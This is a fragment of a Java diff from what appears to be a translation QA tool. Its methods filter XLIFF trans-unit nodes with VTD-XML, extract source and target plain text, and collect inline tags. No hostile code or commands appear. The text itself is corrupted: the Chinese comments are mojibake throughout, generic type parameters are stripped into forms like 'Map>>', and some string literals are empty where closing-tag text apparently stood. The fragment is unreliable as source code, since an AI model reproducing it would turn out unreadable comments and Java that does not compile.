//如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (srcContent == null || "".equals(srcContent)) { + continue; + }else { + //两个检查项中的忽略标记,若有一项为true,那么就必须获å–纯文本 + if (srcIgnoreTag || tarIgnoreTag) { + dataBean.setSrcContent(srcContent.trim()); + dataBean.setSrcPureText(getTUPureText(vn).trim()); + }else { + dataBean.setSrcContent(srcContent.trim()); + } + } + }else { + continue; + } + childAp.resetXPath(); + vn.pop(); + + //首先过滤,如果有ä¸åº”包括的文本段,则返回一个空对象 + if (!filterTheTU(vn, filterMap)) { + continue; + } + + vn.push(); + //下é¢èŽ·å–目标文本的纯文本,在之å‰å…ˆæ£€æŸ¥ç›®æ ‡æ–‡æœ¬æ˜¯å¦ä¸ºç©ºæˆ–为空值,若是,则返回null,若没有target节点,也返回空 + childAp.selectXPath("./target"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªtarget,因此此处用ifä¸ç”¨while + String tgtContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回空对象 + if (tgtContent == null || "".equals(tgtContent)) { + continue; + }else { + //两个检查项中的忽略标记,若有一项为true,那么就必须获å–纯文本 + if (srcIgnoreTag || tarIgnoreTag) { + dataBean.setTgtContent(tgtContent.trim()); + dataBean.setTgtPureText(getTUPureText(vn).trim()); + }else { + dataBean.setTgtContent(tgtContent.trim()); + } + } + }else { + continue; + } + dataBean.setLineNumber(rowIdList.indexOf(rowId) + 1); + vn.pop(); + filteredTuTextMap.put(rowId, dataBean); + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger13"), e); + } + + return filteredTuTextMap; + } + + + /** + * 过滤trans-unit节点,过滤æ¡ä»¶ä¸ºï¼Œè¿‡æ»¤æŽ‰ä¸åŒ…括的文本段,如ä¸åŒ…括上下文匹é…,ä¸åŒ…括完全匹é…,ä¸åŒ…括已é”文本, + * 如果过滤ä¸æˆåŠŸï¼Œå°±è¿”回false,过滤æˆåŠŸ(å³æ²¡æœ‰ä¸åº”包括的文本段),就返回true + * @param vn + * @param filterMap 过滤æ¡ä»¶ + * @return + */ + public boolean filterTheTU(VTDNav vn, Map filterMap){ + vn.push(); + AutoPilot filterAp = new AutoPilot(vn); + try { + //æ£€æŸ¥ä¸Šä¸‹æ–‡åŒ¹é… translate(alt-trans/@match-quality, '%', '')=101 + if (filterMap.get(QAConstant.QA_PREF_CONTEXT_NOTINCLUDE)) { + filterAp.selectXPath("translate(alt-trans/@match-quality, '%', '')=101"); + //如果检查到有上下文匹é…,就返回false,标志过滤未通过 + if (filterAp.evalXPathToBoolean()) { + return false; + } + filterAp.resetXPath(); + } + + //æ£€æŸ¥å®Œå…¨åŒ¹é… translate(alt-trans/@match-quality, '%', '')=100 + if (filterMap.get(QAConstant.QA_PREF_FULLMATCH_NOTINCLUDE)) { + filterAp.selectXPath("translate(alt-trans/@match-quality, '%', '')=100"); + if (filterAp.evalXPathToBoolean()) { + return false; + } + filterAp.resetXPath(); + } + + //检查已é”定的文本段 @translate='no' + if (filterMap.get(QAConstant.QA_PREF_LOCKED_NOTINCLUDE)) { + filterAp.selectXPath("@translate='no'"); + if (filterAp.evalXPathToBoolean()) { + return false; + } + filterAp.resetXPath(); + } + } catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger9"), e); + } + vn.pop(); + return true; + + } + + /** + * 针对trans-unit节点而言,获å–其下sourceå’Œtarget节点的纯文本字符串 + * @param xlfPath + * @param nodeXpath + * @return 如果返回null,则è¯æ˜Žè¿™ä¸ªèŠ‚点是个空节点,è¦ä¹ˆæ²¡æœ‰è¿™ä¸ªèŠ‚点,è¦ä¹ˆè¿™ä¸ªèŠ‚点没有值 + */ + public String getTUPureText(String xlfPath, String nodeXpath){ + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = apMap.get(xlfPath); + validNull(vn, ap, xlfPath); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + String content = vUtils.getElementContent(); + if (content == null || "".equals(content)) { + return null; + } + return getTUPureText(vn); + } + + } catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger12"), e); + } + return null; + + } + + /** + * 针对trans-unit节点而言,获å–其下sourceå’Œtarget节点的纯文本字符串 + * @param xlfPath + * @param nodeXpath + * @return + */ + public String getTUPureText(VTDNav vn){ + AutoPilot ap = new AutoPilot(vn); + String pureText = ""; + try { + VTDUtils vUtils = new VTDUtils(vn); + pureText = vUtils.getElementContent(); + //如果å­èŠ‚点大于0ï¼Œé‚£ç»§ç»­å¤„ç† + if (vUtils.getChildElementsCount() > 0) { + ap.resetXPath(); + ap.selectXPath("./*"); + while (ap.evalXPath() != -1) { + String childNodeName = vUtils.getCurrentElementName(); + if (QAConstant.QA_mrk.equals(childNodeName) + && "term".equals(vUtils.getCurrentElementAttribut("mtype", ""))) { + if (vUtils.getChildElementsCount() <= 0) { + String childFrag = vUtils.getElementFragment(); + String childContent = vUtils.getElementContent(); + childContent = childContent == null ? "" : childContent; + pureText = pureText.replace(childFrag, childContent); + }else { + String childFrag = vUtils.getElementFragment(); + String childContent = getTUPureText(vn); + childContent = childContent == null ? "" : childContent; + pureText = pureText.replace(childFrag, childContent); + } + }else if (QAConstant.QA_g.equals(childNodeName) || QAConstant.QA_sub.equals(childNodeName)) { + if (vUtils.getChildElementsCount() <= 0) { + String childFrag = vUtils.getElementFragment(); + String childContent = vUtils.getElementContent(); + childContent = childContent == null ? "" : childContent; + pureText = pureText.replace(childFrag, childContent); + }else { + String childFrag = vUtils.getElementFragment(); + String childContent = getTUPureText(vn); + pureText = pureText.replace(childFrag, childContent); + } + }else { + //ph节点的值为code data或者一个sub节点,因此,è¦è€ƒè™‘到sub节点的情况 + if (vUtils.getChildElementsCount() <= 0) { + String childFrag = vUtils.getElementFragment(); + pureText = pureText.replace(childFrag, ""); + }else { + String childFrag = vUtils.getElementFragment(); + String childContent = getSubNodePureText(vn); + pureText = pureText.replace(childFrag, childContent); + } + } + } + } + + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger12"), e); + } + + return pureText; + } + + /** + * 获å–ph,etp,btp,it节点下subå­èŠ‚点的纯文本 + * //ph,etp,btp,it节点,åªæœ‰å…¶å­èŠ‚点sub内的文本æ‰æ˜¯ç¿»è¯‘文本,故,去掉ph,etp,btp,it节点的纯文本 + * @param vn + * @return + */ + public String getSubNodePureText(VTDNav vn){ + String subPureText = ""; + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("./*"); + VTDUtils vUtils = new VTDUtils(vn); + while (ap.evalXPath() != -1) { + if (vUtils.getChildElementsCount() <= 0) { + subPureText += " " + vUtils.getElementContent(); + }else { + subPureText += " " + getTUPureText(vn); + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger14"), e); + } + return subPureText; + } + + /** + * 获å–过滤åŽçš„trans-unit节点下source与target的纯文本或文本内容(根æ®æ˜¯å¦å¿½ç•¥æ ‡è®°ï¼Œé’ˆå¯¹æ–‡æœ¬æ®µä¸€è‡´æ€§æ£€æŸ¥ï¼‰ã€‚ + * 过滤æ¡ä»¶ä¸º:过滤掉ä¸åŒ…括的文本段,如ä¸åŒ…括上下文匹é…,ä¸åŒ…括完全匹é…,ä¸åŒ…括已é”文本,过滤æ¡ä»¶åœ¨é¦–选项中设置。 + * @param xlfPath xliff文件的路径 + * @param nodeXpath 节点的xpath + * @param filterMap 过滤æ¡ä»¶çš„集åˆï¼Œå…¶å€¼ä»Žé¦–é€‰é¡¹ä¸­èŽ·å– + * @param checkSameSource 是å¦æ£€æŸ¥ç›¸åŒæºæ–‡ä¸åŒè¯‘æ–‡ + * @param CheckSameTarget 是å¦æ£€æŸ¥ç›¸åŒè¯‘æ–‡ä¸åŒæºæ–‡ + * @param srcIgnoreTag 相åŒæºæ–‡ä¸åŒè¯‘文比较时是å¦å¿½ç•¥æ ‡è®° + * @param tarIgnoreTag 相åŒè¯‘æ–‡ä¸åŒæºæ–‡æ¯”较时是å¦å¿½ç•¥æ ‡è®° + * @return tuContentMap,这是一个有å¯èƒ½å››ä¸ªå€¼çš„键值对,如 + * srcPureText --> æºèŠ‚点的纯文本 + * srcContent --> æºèŠ‚点的内容(å³å¸¦æ ‡è®°ï¼‰ + * tarPureText --> 目标节点的纯文本 + * tarContent --> 目标节点的内容(å³å¸¦æ ‡è®°ï¼‰ + */ + public Map getFilteredTUPureTextOrContent(String xlfPath, Map filterMap, + boolean checkSameSource, boolean checkSameTarget, boolean srcIgnoreTag, boolean tarIgnoreTag){ + + Map tuContentMap = new HashMap(); + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + AutoPilot childAp = new AutoPilot(vn); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath("/xliff/file/body/descendant::trans-unit[source/text()!='' or source/*]"); + + //为了æ高系统性能,这里是å¦èŽ·å–其纯文本,è¦è¿›è¡Œä¸€å®šçš„验è¯ã€‚ + //检查项有两个,å³ç›¸åŒæºæ–‡ä¸åŒè¯‘文,相åŒè¯‘æ–‡ä¸åŒæºæ–‡ï¼Œå¦‚æžœæŸé¡¹ä¸æ£€æŸ¥ï¼Œé‚£ä¹ˆå®ƒçš„忽略标记为false + if (!checkSameSource) { + srcIgnoreTag = false; + } + + if (!checkSameTarget) { + tarIgnoreTag = false; + } + + int lineNumber = 0; + while (ap.evalXPath() != -1) { + lineNumber ++; + vn.push(); + ParaConsisDataBean dataBean = new ParaConsisDataBean(); + //å–出æºæ–‡æœ¬çš„纯文本之å‰ï¼Œå…ˆæŸ¥çœ‹å…¶å†…容是å¦ä¸ºç©ºï¼Œè‹¥ä¸ºç©ºï¼Œåˆ™è¿”回,没有source节点,也返回null + childAp.selectXPath("./source"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªsource,因此此处用ifä¸ç”¨while + String srcContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (srcContent == null || "".equals(srcContent)) { + continue; + }else { + //两个检查项中的忽略标记,若有一项为true,那么就必须获å–纯文本 + if (srcIgnoreTag || tarIgnoreTag) { + dataBean.setSrcContent(srcContent.trim()); + dataBean.setSrcPureText(getTUPureText(vn).trim()); + }else { + dataBean.setSrcContent(srcContent.trim()); + } + } + }else { + continue; + } + childAp.resetXPath(); + vn.pop(); + + //首先过滤,如果有ä¸åº”包括的文本段,则返回空 + if (!filterTheTU(vn, filterMap)) { + continue; + } + + vn.push(); + //下é¢èŽ·å–目标文本的纯文本,在之å‰å…ˆæ£€æŸ¥ç›®æ ‡æ–‡æœ¬æ˜¯å¦ä¸ºç©ºæˆ–为空值,若是,则返回null,若没有target节点,也返回空 + childAp.selectXPath("./target"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªtarget,因此此处用ifä¸ç”¨while + String tgtContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (tgtContent == null || "".equals(tgtContent)) { + continue; + }else { + //两个检查项中的忽略标记,若有一项为true,那么就必须获å–纯文本 + if (srcIgnoreTag || tarIgnoreTag) { + dataBean.setTgtContent(tgtContent.trim()); + dataBean.setTgtPureText(getTUPureText(vn).trim()); + }else { + dataBean.setTgtContent(tgtContent.trim()); + } + } + }else { + continue; + } + vn.pop(); + childAp.resetXPath(); + dataBean.setLineNumber(lineNumber); + tuContentMap.put(RowIdUtil.getRowId(vn, xlfPath), dataBean); + } + }catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger15"), e); + } + return tuContentMap; + } + + /** + * 获å–trans-unit节点过滤åŽçš„sourceå’Œtarget节点的文本内容(ä¸åŽ»æŽ‰æ ‡è®°ï¼‰ï¼Œè¿‡æ»¤æ¡ä»¶ä¸ºä¸åŒ…括上下文匹é…,ä¸åŒ…括完全匹é…,ä¸åŒ…括已é”文本,过滤æ¡ä»¶åœ¨é¦–选项中设置 + * @return Map 两个键值对,srcContent --> æºæ–‡æœ¬çš„文本,tarContent --> 目标文本的文本 + * 如果返回的是null,则标志source节点无内容,这对与行å·å°±ä¸è‡ªå¢ž + */ + public Map getFilteredTUContent(String xlfPath, String nodeXpath, Map filterMap){ + Map tuTextMap = new HashMap(); + + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + AutoPilot childAp = new AutoPilot(vn); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + vn.push(); + //å–出æºæ–‡æœ¬çš„纯文本之å‰ï¼Œå…ˆæŸ¥çœ‹å…¶å†…容是å¦ä¸ºç©ºï¼Œè‹¥ä¸ºç©ºï¼Œåˆ™è¿”回,没有source节点,也返回null + childAp.selectXPath("./source"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªsource,因此此处用ifä¸ç”¨while + String srcContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (srcContent == null || "".equals(srcContent)) { + return null; + } + }else { + return null; + } + childAp.resetXPath(); + vn.pop(); + + //首先过滤,如果有ä¸åº”包括的文本段,则返回空 + if (!filterTheTU(vn, filterMap)) { + return tuTextMap; + } + + //下é¢èŽ·å–目标文本的纯文本,在之å‰å…ˆæ£€æŸ¥ç›®æ ‡æ–‡æœ¬æ˜¯å¦ä¸ºç©ºæˆ–为空值,若是,则返回null,若没有target节点,也返回空 + childAp.selectXPath("./target"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªtarget,因此此处用ifä¸ç”¨while + String tarContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (tarContent == null || "".equals(tarContent)) { + return tuTextMap; + }else { + //两个检查项中的忽略标记,若有一项为true,那么就必须获å–纯文本 + tuTextMap.clear(); + } + }else { + return tuTextMap; + } + childAp.resetXPath(); + } + }catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger13"), e); + } + return tuTextMap; + } + + + /** + * æ ¹æ®éœ€æ±‚获å–trans-unit下source或target的纯文本,或者整体内容 + * @return 如果返回null,则è¯æ˜Žè¿™ä¸ªèŠ‚点是个空节点,è¦ä¹ˆæ²¡æœ‰è¿™ä¸ªèŠ‚点,è¦ä¹ˆè¿™ä¸ªèŠ‚点没有值 + */ + public String getTUPureTextOrContent(String xlfPath, String nodeXpath, boolean ignoreTag){ + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = apMap.get(xlfPath); + validNull(vn, ap, xlfPath); + try { + VTDUtils vUtils = new VTDUtils(vn); + + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + String content = vUtils.getElementContent(); + if (content == null || "".equals(content)) { + return null; + } + // 如果忽略标记,就返回纯文本,å¦åˆ™è¿”回整体内容 + if (ignoreTag) { + return getTUPureText(vn); + } + return content; + } + } catch (NavException e) { + e.printStackTrace(); + logger.error("", e); + } catch (XPathParseException e) { + e.printStackTrace(); + logger.error("", e); + } catch (XPathEvalException e) { + e.printStackTrace(); + logger.error("", e); + } + + return null; + + } + + /** + * 获å–一个节点的纯文本,将所有的标记除外,包括标记里é¢çš„内容 + * @return + */ + public String getNodePureText(String xlfPath, String nodeXpath){ + String pureText = ""; + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = apMap.get(xlfPath); + validNull(vn, ap, xlfPath); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + pureText = vUtils.getElementPureText(); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger14"), e); + } + return pureText; + } + + /** + * 获å–指定文件的指定节点的内容(除节点头与尾之外) + * @param xlfPath + * @param nodeXpath + * @return + * robert 2011-10-26 + */ + public String getNodeContent(String xlfPath, String nodeXpath){ + String nodeContent = ""; + VTDNav vn = vnMap.get(xlfPath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + + try { + AutoPilot ap = apMap.get(xlfPath); + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + nodeContent = vUtils.getElementContent(); + } + } catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger16"), e); + e.printStackTrace(); + } + return nodeContent; + } + + /** + * 获å–指定节点的值(针对节点值为文本段) + * @param xmlPath + * @param nodeXpath + * @return ; + */ + public String getNodeText(String xmlPath, String nodeXpath, String defaultValue){ + String aspellCommand = ""; + VTDNav vn = vnMap.get(xmlPath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xmlPath); + AutoPilot ap = new AutoPilot(vn); + + try { + ap.selectXPath(nodeXpath); + if (ap.evalXPath() != -1) { + int commandIndex = vn.getText(); + if (commandIndex != -1) { + aspellCommand = vn.toString(commandIndex); + }else { + return defaultValue; + } + }else { + return defaultValue; + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger16"), e); + } + return aspellCommand; + } + + /** + * 获å–æŸå±žæ€§å的属性值 + * @param xlfPath + * @param nodeXpath + * @param attrName + * @return + * robert 2011-11-02 + */ + public String getNodeAttribute(String xlfPath, String nodeXpath, String attrName){ + String attribute = ""; + + VTDNav vn = vnMap.get(xlfPath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + try { + AutoPilot ap = new AutoPilot(vn); + VTDUtils vu = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + if (ap.evalXPath() != -1) { + attribute = vu.getCurrentElementAttribut(attrName, ""); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger17"), e); + } + return attribute; + } + + /** + * 获å–整个节点,包括其头部,其å­èŠ‚点,其文本 + * @param xlfPath + * @param nodeXPath 节点的xpath + * @return + * robert 2011-10-21 + */ + public String getNodeFrag(String xlfPath, String nodeXPath){ + VTDNav vn = vnMap.get(xlfPath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + + String xliffNodeContent = ""; + try { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(nodeXPath); + VTDUtils vu = new VTDUtils(vn); + if (ap.evalXPath() != -1) { + xliffNodeContent = vu.getElementFragment(); + + } + } catch (XPathParseException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger9"), e); + } catch (NavException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger11"), e); + } catch (XPathEvalException e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger10"), e); + } + return xliffNodeContent; + } + + /** + * 备注:--nonUse + * 获å–ç»è¿‡è¿‡æ»¤åŽçš„trans-unit节点的标记,过滤æ¡ä»¶ä¸ºï¼Œè¿‡æ»¤æŽ‰ä¸åŒ…括的文本段,如ä¸åŒ…括上下文匹é…,ä¸åŒ…括完全匹é…,ä¸åŒ…括已é”文本,这些æ¡ä»¶åœ¨é¦–选项中设置。 + * 若返回的为null, 则标志没有source节点或者source节点值为空 + * @return filteredTuTagMap 两个键值对,srcTag --> æºæ–‡æœ¬çš„标签,tarTag --> 目标文本的标签 + */ + public Map>> getFilteredTUTags(String xlfPath, String nodeXpath, Map filterMap){ + Map>> filteredTuTagMap = new HashMap>>(); + VTDNav vn = vnMap.get(xlfPath); + AutoPilot ap = new AutoPilot(vn); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + AutoPilot childAp = new AutoPilot(vn); + try { + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXpath); + while (ap.evalXPath() != -1) { + + vn.push(); + //å–出æºæ–‡æœ¬çš„纯文本之å‰ï¼Œå…ˆæŸ¥çœ‹å…¶å†…容是å¦ä¸ºç©ºï¼Œè‹¥ä¸ºç©ºï¼Œåˆ™è¿”回,没有source节点,也返回null + childAp.selectXPath("./source"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªsource,因此此处用ifä¸ç”¨while + String srcContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (srcContent == null || "".equals(srcContent)) { + return null; + }else { + filteredTuTagMap.put("srcTag", getTUTag(vn)); + } + }else { + return null; + } + childAp.resetXPath(); + vn.pop(); + + //首先过滤,如果有ä¸åº”包括的文本段,则返回空 + if (!filterTheTU(vn, filterMap)) { + return filteredTuTagMap; + } + + //下é¢èŽ·å–目标文本的纯文本,在之å‰å…ˆæ£€æŸ¥ç›®æ ‡æ–‡æœ¬æ˜¯å¦ä¸ºç©ºæˆ–为空值,若是,则返回null,若没有target节点,也返回空 + childAp.selectXPath("./target"); + if (childAp.evalXPath() != -1) { //因为标准里é¢åªæœ‰ä¸€ä¸ªtarget,因此此处用ifä¸ç”¨while + String tarContent = vUtils.getElementContent(); + //如果æºæ–‡æœ¬ä¸ºç©ºæˆ–无值,则返回null + if (tarContent == null || "".equals(tarContent)) { + return filteredTuTagMap; + }else { + filteredTuTagMap.put("tarTag", getTUTag(vn)); + } + }else { + return filteredTuTagMap; + } + childAp.resetXPath(); + } + } catch (Exception e) { + logger.error(Messages.getString("qa.QAXmlHandler.logger18"), e); + } + + return filteredTuTagMap; + } + + /** + * 获å–trans-unit节点下source与target节点的标记信æ¯ï¼Œå¦‚果节点ä¸å­˜åœ¨ï¼Œæˆ–者为空,则返回null + * @param xlfPath + * @param nodeXPath + * @return + */ + public List> getTUTag(String xlfPath, String nodeXPath){ + VTDNav vn = vnMap.get(xlfPath); + Assert.isNotNull(vn, Messages.getString("qa.QAXmlHandler.msg1") + xlfPath); + try { + AutoPilot ap = apMap.get(xlfPath); + VTDUtils vUtils = new VTDUtils(vn); + ap.selectXPath(nodeXPath); + while (ap.evalXPath() != -1) { + String nodeContent = vUtils.getElementContent(); + if (nodeContent == null || "".equals(nodeContent)) { + return null; + } + //开始获å–所有的标记 + return getTUTag(vn); + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger18"), e); + } + return null; + } + + /** + * 给定一个文本段,获å–其中的所有标记,但是所给出的字符串必须是一个xmlæ ¼å¼çš„文本段,如asd fas sa s ad asd ,åƒè¿™ç§å°±ä¸å¾—行:asd fasdf asd fsa + * @param content + * @return ; + */ + public List> getTUTag(String content) { + try { + //tagVg = new VTDGen(); + tagVg.setDoc(content.getBytes()); + tagVg.parse(true); + + return getTUTag(tagVg.getNav()); + + } catch (Exception e) { + e.printStackTrace(); + logger.error("", e); + } + return null; + } + + /** + * {@link #getTUTag(String, String)} + *
    该方法与 getTuTag 方法类似,如修改应ä¿æŒä¸€è‡´
    + * 获å–标记,返回结果是一个字符串 + * @param vn + * @return + */ + private String getTuTagStr(VTDNav vn){ + StringBuffer sb = new StringBuffer(); + + try { + AutoPilot ap = new AutoPilot(vn); + VTDUtils vUtils = new VTDUtils(vn); + //å¦‚æžœæ²¡æœ‰ç›¸å…³æ ‡è®°ï¼Œé€€å‡ºç¨‹åº + if (vUtils.getChildElementsCount() < 0) { + return sb.toString(); + } + ap.selectXPath("./*"); + //如果å­èŠ‚点大于0ï¼Œé‚£ç»§ç»­å¤„ç† + if (vUtils.getChildElementsCount() > 0) { + while (ap.evalXPath() != -1) { + String childNodeName = vUtils.getCurrentElementName(); + if (QAConstant.QA_mrk.equals(childNodeName) ) { + String tagStr = vUtils.getElementHead() + ""; + sb.append(deleteBlank(tagStr)); + + //如果该节点下还有å­èŠ‚点标记,å†èŽ·å–å…¶å­èŠ‚点标记 + if (vUtils.getChildElementsCount() > 0) { + sb.append(getTuTagStr(vn)); + } + }else if (QAConstant.QA_g.equals(childNodeName) || QAConstant.QA_sub.equals(childNodeName)) { + String tagStr = vUtils.getElementHead() + ""; + sb.append(deleteBlank(tagStr)); + + if (vUtils.getChildElementsCount() > 0) { + sb.append(getTuTagStr(vn)); + } + }else { + //ph节点的值为code data或者一个sub节点,因此,è¦è€ƒè™‘到sub节点的情况 + if (vUtils.getChildElementsCount() <= 0) { + //其他节点,比如ph,etp,btp,it内都没有å¯ç¿»è¯‘文本,故获å–其整体文本段å³å¯ + String childFrag = vUtils.getElementHead() + vUtils.getElementContent() + ""; + sb.append(deleteBlank(childFrag)); + }else { + //先将该标记的纯文本获å–å‡ºæ¥ + String childFrag = vUtils.getElementHead() + vUtils.getElementContent() + ""; + String childContent = vUtils.getElementContent(); + String pureCode = ""; + + //获å–该节点的纯文本 + vn.push(); + String txtNode = "./text()"; + AutoPilot childAp = new AutoPilot(vn); + childAp.selectXPath(txtNode); + int txtIndex = -1; + while ((txtIndex = childAp.evalXPath()) != -1) { + pureCode += (" " + vn.toString(txtIndex)); + } + vn.pop(); + + String tagStr = childFrag.replace(childContent == null ? "" : childContent, pureCode == null ? "" : pureCode); + + sb.append(deleteBlank(tagStr)); + + //下é¢æ·»åŠ è¯¥èŠ‚点内的å­èŠ‚点sub标记 + sb.append(getSubNodeTagStr(vn)); + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger18"), e); + } + + return sb.toString(); + } + + + /** + * {@link #getTuTagStr(String, String)} + *
    该方法与 getTuTagStr 方法类似,如修改应ä¿æŒä¸€è‡´
    + * 获å–tu节点下的标记 + * @param ap + * @param vn + * @return + */ + public List> getTUTag(VTDNav vn){ + List> tagList = new LinkedList>(); + Map tagMap; + try { + AutoPilot ap = new AutoPilot(vn); + VTDUtils vUtils = new VTDUtils(vn); + //å¦‚æžœæ²¡æœ‰ç›¸å…³æ ‡è®°ï¼Œé€€å‡ºç¨‹åº + if (vUtils.getChildElementsCount() <= 0) { + return tagList; + } + ap.selectXPath("./*"); + //如果å­èŠ‚点大于0ï¼Œé‚£ç»§ç»­å¤„ç† + if (vUtils.getChildElementsCount() > 0) { + while (ap.evalXPath() != -1) { + String childNodeName = vUtils.getCurrentElementName(); + if (QAConstant.QA_mrk.equals(childNodeName) ) { + String tagStr = vUtils.getElementHead() + ""; + tagMap = new HashMap(); + tagMap.put(QAConstant.QA_TAGNAME, childNodeName); + tagMap.put(QAConstant.QA_TAGCONTENT, deleteBlank(tagStr)); + tagList.add(tagMap); + + //如果该节点下还有å­èŠ‚点标记,å†èŽ·å–å…¶å­èŠ‚点标记 + if (vUtils.getChildElementsCount() > 0) { + List> childTagList = getTUTag(vn); + for (int index = 0; index < childTagList.size(); index++) { + tagList.add(childTagList.get(index)); + } + } + }else if (QAConstant.QA_g.equals(childNodeName) || QAConstant.QA_sub.equals(childNodeName)) { + String tagStr = vUtils.getElementHead() + ""; + tagMap = new HashMap(); + tagMap.put(QAConstant.QA_TAGNAME, childNodeName); + tagMap.put(QAConstant.QA_TAGCONTENT, deleteBlank(tagStr)); + tagList.add(tagMap); + + if (vUtils.getChildElementsCount() > 0) { + List> childTagList = getTUTag(vn); + for (int index = 0; index < childTagList.size(); index++) { + tagList.add(childTagList.get(index)); + } + } + }else { + //ph节点的值为code data或者一个sub节点,因此,è¦è€ƒè™‘到sub节点的情况 + if (vUtils.getChildElementsCount() <= 0) { + //其他节点,比如ph,etp,btp,it内都没有å¯ç¿»è¯‘文本,故获å–其整体文本段å³å¯ + String childFrag = vUtils.getElementHead() + vUtils.getElementContent() + ""; + tagMap = new HashMap(); + tagMap.put(QAConstant.QA_TAGNAME, childNodeName); + tagMap.put(QAConstant.QA_TAGCONTENT, deleteBlank(childFrag)); + tagList.add(tagMap); + }else { + //先将该标记的纯文本获å–å‡ºæ¥ + String childFrag = vUtils.getElementHead() + vUtils.getElementContent() + ""; + String childContent = vUtils.getElementContent(); + String pureCode = ""; + + //获å–该节点的纯文本 + vn.push(); + String txtNode = "./text()"; + AutoPilot childAp = new AutoPilot(vn); + childAp.selectXPath(txtNode); + int txtIndex = -1; + while ((txtIndex = childAp.evalXPath()) != -1) { + pureCode += (" " + vn.toString(txtIndex)); + } + vn.pop(); + + String tagStr = childFrag.replace(childContent == null ? "" : childContent, pureCode == null ? "" : pureCode); + + tagMap = new HashMap(); + tagMap.put(QAConstant.QA_TAGNAME, childNodeName); + tagMap.put(QAConstant.QA_TAGCONTENT, deleteBlank(tagStr)); + tagList.add(tagMap); + + //下é¢æ·»åŠ è¯¥èŠ‚点内的å­èŠ‚点sub标记 + List> childTagList = getSubNodeTag(vn); + for (int index = 0; index < childTagList.size(); index++) { + tagList.add(childTagList.get(index)); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + logger.error(Messages.getString("qa.QAXmlHandler.logger18"), e); + } + return tagList; + } + + /** + * {@link #getSubNodeTag(String, String)} + *
    该方法与 getSubNodeTag 方法类似,如修改应ä¿æŒä¸€è‡´
